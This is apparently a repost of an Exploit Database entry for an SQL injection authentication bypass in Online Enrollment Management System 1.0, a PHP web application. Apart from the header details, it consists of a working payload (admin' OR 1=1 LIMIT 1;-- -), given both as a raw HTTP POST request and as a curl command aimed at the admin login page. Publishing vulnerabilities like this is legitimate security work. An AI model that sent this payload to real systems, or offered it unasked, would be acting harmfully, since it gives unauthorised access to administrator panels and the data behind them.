Online Enrollment Management System 1.0 – Authentication Bypass

• Exploit Database
• 17 阅读

• 作者： Amine ismail
  日期： 2021-10-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50399/

• # Exploit Title: Online Enrollment Management System 1.0 - Authentication Bypass
  # Date: 07.10.2021
  # Exploit Author: Amine ismail @aminei_
  # Vendor Homepage: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html
  # Software Link: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html
  # Version: 1.0
  # Tested on: Windows 10, Kali Linux
  # Admin panel authentication bypass
  
  Admin panel authentication can be bypassed due to a SQL injection in the login form:
  
  Request:
  POST /OnlineEnrolmentSystem/admin/login.php HTTP/1.1
  Host: 127.0.0.1
  Content-Length: 63
  Cookie: PHPSESSID=jd2phsg2f7pvv2kfq3lgfkc98q
  
  user_email=admin'+OR+1=1+LIMIT+1;--+-&user_pass=admin&btnLogin=
  
  PoC:
  curl -d "user_email=admin' OR 1=1 LIMIT 1;--+-&user_pass=junk&btnLogin=" -X POST http://127.0.0.1/OnlineEnrolmentSystem/admin/login.php